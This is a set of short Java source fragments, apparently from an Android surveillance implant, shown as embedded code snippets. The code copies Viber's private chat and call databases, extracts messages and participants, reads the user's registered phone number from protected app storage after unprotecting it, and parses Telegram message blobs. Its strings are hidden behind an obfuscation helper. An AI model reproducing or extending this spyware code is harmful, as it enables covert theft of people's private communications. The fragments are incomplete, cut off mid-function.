This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private long fetchMessages(GenericSqliteHelper helper, final ViberConversation conversation, long lastConvId) { | |
// select author, body_xml from Messages where convo_id == 118 and id >= | |
// 101 and body_xml != '' | |
try { | |
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>(); | |
String[] projection = new String[] { M.e("_id"), M.e("participant_id"), M.e("body"), M.e("date"), | |
M.e("address"), M.e("type") }; | |
String selection = M.e("conversation_id = ") + conversation.id + M.e(" and date > ") + lastConvId; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// fetch participants. | |
private void fetchParticipants(GenericSqliteHelper helper, final String thread_id) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (fetchParticipants) : " + thread_id); | |
} | |
RecordVisitor visitor = new RecordVisitor() { | |
@Override |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private List<ViberConversation> getViberConversations(GenericSqliteHelper helper, final String account, | |
Long lastViberReadDate) { | |
final List<ViberConversation> conversations = new ArrayList<ViberConversation>(); | |
String[] projection = new String[] { M.e("_id"), M.e("date"), M.e("recipient_number"), M.e("conversation_type") }; | |
String selection = "date > " + lastViberReadDate; | |
RecordVisitor visitor = new RecordVisitor(projection, selection) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public static GenericSqliteHelper openViberDBHelperCall() { | |
return GenericSqliteHelper.openCopy(dbDir, dbCallFile); | |
} | |
public static GenericSqliteHelper openViberDBHelperChat() { | |
return GenericSqliteHelper.openCopy(dbDir, dbChatFile); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void readViberMessageHistory() { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (readViberMessageHistory)"); | |
} | |
if (!readChatSemaphore.tryAcquire()) { | |
if (Cfg.DEBUG) { | |
Check.log(TAG + " (readViberMessageHistory), semaphore red"); | |
} | |
return; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public static String readAccount() { | |
String number = null; | |
String file = M.e("/data/data/com.viber.voip/files/preferences/reg_viber_phone_num"); | |
if (Path.unprotect(file, 4, false)) { | |
FileInputStream fileInputStream; | |
try { | |
fileInputStream = new FileInputStream(file); | |
ObjectInputStream oInputStream = new ObjectInputStream(fileInputStream); | |
Object one = oInputStream.readObject(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public static int truncatedEquals(byte[] buffer, int start, byte[] pattern, int offset) { | |
int upperBound = Math.min(buffer.length - start, pattern.length - offset); | |
for (int i = 0; i < upperBound; i++) { | |
if (buffer[i + start] != pattern[i + (offset)]) { | |
return i; | |
} | |
} | |
return upperBound; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class MessageRecordVisitor extends RecordVisitor { | |
private ArrayList<MessageChat> messages; | |
public MessageRecordVisitor(ArrayList<MessageChat> messages) { | |
this.messages = messages; | |
} | |
@Override | |
public long cursor(Cursor cursor) { | |
long created_time = cursor.getLong(0); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class MessageGroupVisitor extends RecordVisitor { | |
private ArrayList<MessageChat> messages; | |
private ChatGroups groups; | |
private RecordHashPairVisitor users; | |
public MessageGroupVisitor(ArrayList<MessageChat> messages, ChatGroups groups, RecordHashPairVisitor users) { | |
this.messages = messages; | |
this.groups = groups; | |
this.users = users; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private ArrayList<String> getContentFromBlob(byte[] data) { | |
// take long run decision on content!=null isn't safe we check it again avery time | |
old_format_chat=true; | |
ByteBuffer in = MappedByteBuffer.wrap(data); | |
/* 0xbc799737 0x37,0x97, 0x79, 0xbc | |
44 byte telegram 2.0.5 NON funziona | |
0xb3, 0x99, 0x76, 0x56, | |
0x03, 0x00, 0x00, 0x00, | |
0xa8, 0xcb, 0xfc, 0xff, | |
0x09, 0x14, 0x79, 0x04, |